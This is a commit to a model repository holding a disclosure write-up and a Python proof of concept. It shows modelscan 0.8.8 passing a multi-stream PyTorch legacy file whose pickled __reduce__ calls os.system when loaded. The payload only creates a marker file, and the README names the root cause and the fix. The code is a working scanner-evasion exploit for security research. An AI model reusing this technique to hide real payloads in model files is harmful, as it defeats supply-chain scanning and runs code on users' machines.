Upload 3 files

README.md

@@ -1,3 +1,46 @@
 ---
 license: mit
+tags:
+  - security-poc
+  - coordinated-disclosure
 ---
+
+# PoC: modelscan 0.8.8 multi-pickle legacy scan bypass (scanner evasion)
+
+> Coordinated-disclosure proof-of-concept submitted to huntr. The model file in this
+> repository is a **benign test artifact**: its payload only runs `touch MP_legacy_pwn`
+> (creates an empty marker file in the working directory). No network access, no
+> destructive action. Do not load untrusted model files.
+
+## What this demonstrates
+`modelscan` 0.8.8 reports `evil_legacy.pt` as clean ("No issues found! 🎉", exit 0), yet
+`torch.load("evil_legacy.pt", weights_only=False)` executes the payload. The identical
+`os.system` operator in a single-stream pickle **is** flagged — so this is a scan-coverage
+correctness defect, not a denylist gap.
+
+This is a **scanner-evasion** finding (huntr "unique methods to bypass our automated
+scanners"), not a report of pickle deserialization itself. Root cause: `scan_pytorch()`
+(`modelscan/tools/picklescanner.py`) calls `scan_pickle_bytes(..., multiple_pickles=False)`,
+so `_list_globals()` breaks after the first of the file's sequential pickle streams and
+never inspects the model object graph.
+
+## How the PoC model was created
+A well-formed 5-stream PyTorch legacy file: magic number, protocol, sys_info, the
+`os.system` payload object, and an empty storage-keys list (so `torch.load` returns
+without error — a valid file, not malformed). See `poc.py`.
+
+## Files
+- `evil_legacy.pt` — the malicious-but-benign model file (modelscan-clean, executes on load).
+- `poc.py` — self-contained: builds the file, scans it (clean), loads it (executes), and runs a single-stream control (flagged). One command.
+
+## Reproduce
+```
+pip install "modelscan==0.8.8" torch
+modelscan -p evil_legacy.pt        # -> No issues found! 🎉  (exit 0)
+python -c "import torch; torch.load('evil_legacy.pt', weights_only=False)"   # -> creates MP_legacy_pwn
+python poc.py                       # full differential, prints: RESULT: PASS
+```
+
+## Affected / fix
+modelscan 0.8.8 (latest at disclosure). Fix: pass `multiple_pickles=True` in the PyTorch
+legacy scan path (`scan_pytorch`), matching the non-legacy behaviour.

evil_legacy.pt

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:8c15a6a902285a1fd34edcfe1d2c8a836634e237e2bcc98fb9d356dafed156a9
+size 106

poc.py

@@ -0,0 +1,64 @@
+#!/usr/bin/env python3
+"""Self-contained PoC: modelscan 0.8.8 inspects only the first of multiple sequential
+pickle streams in a PyTorch legacy .pt, reporting a malicious file as clean while
+torch.load(weights_only=False) executes the payload.
+
+Requires: modelscan==0.8.8, torch.  Run:  python poc.py
+Payload is a benign marker (touch MP_legacy_pwn); no network, no destructive action.
+"""
+import os, sys, pickle, subprocess
+
+MAGIC = 0x1950a86a20f9469cfc6c  # PyTorch legacy magic number
+
+
+def build_multi(path):
+    # Valid legacy layout torch._legacy_load expects: magic, protocol, sys_info,
+    # main object (payload here), then deserialized storage keys (empty -> no
+    # trailing storage data). The empty-keys stream makes torch.load() return
+    # cleanly WITHOUT EOFError, so this is a well-formed file, not a malformed one.
+    class Payload:
+        def __reduce__(self):
+            return (os.system, ("touch MP_legacy_pwn",))
+    streams = [pickle.dumps(MAGIC), pickle.dumps(1001), pickle.dumps({}),
+               pickle.dumps(Payload()), pickle.dumps([])]
+    with open(path, "wb") as f:
+        f.write(b"".join(streams))
+
+
+def build_single(path):
+    class Ctl:                           # same operator, single stream (control)
+        def __reduce__(self):
+            return (os.system, ("true",))
+    with open(path, "wb") as f:
+        f.write(pickle.dumps(Ctl()))
+
+
+def scan(path):
+    r = subprocess.run(["modelscan", "-p", path], capture_output=True, text=True)
+    return r.stdout + r.stderr
+
+
+build_multi("evil_legacy.pt")
+multi_clean = "No issues found" in scan("evil_legacy.pt")
+
+if os.path.exists("MP_legacy_pwn"):
+    os.remove("MP_legacy_pwn")
+import torch
+load_ok = False
+try:
+    torch.load("evil_legacy.pt", weights_only=False)
+    load_ok = True                       # well-formed file: loads without error
+except Exception:
+    pass
+executed = os.path.exists("MP_legacy_pwn")
+
+build_single("evil_single.pkl")
+single_flagged = "system" in scan("evil_single.pkl").lower()
+
+print("multi-stream .pt scan clean :", multi_clean)
+print("torch.load completed cleanly:", load_ok)
+print("loader executed payload     :", executed)
+print("single-stream control flagged:", single_flagged)
+ok = multi_clean and load_ok and executed and single_flagged
+print("RESULT:", "PASS - scanner bypass confirmed" if ok else "FAIL")
+sys.exit(0 if ok else 1)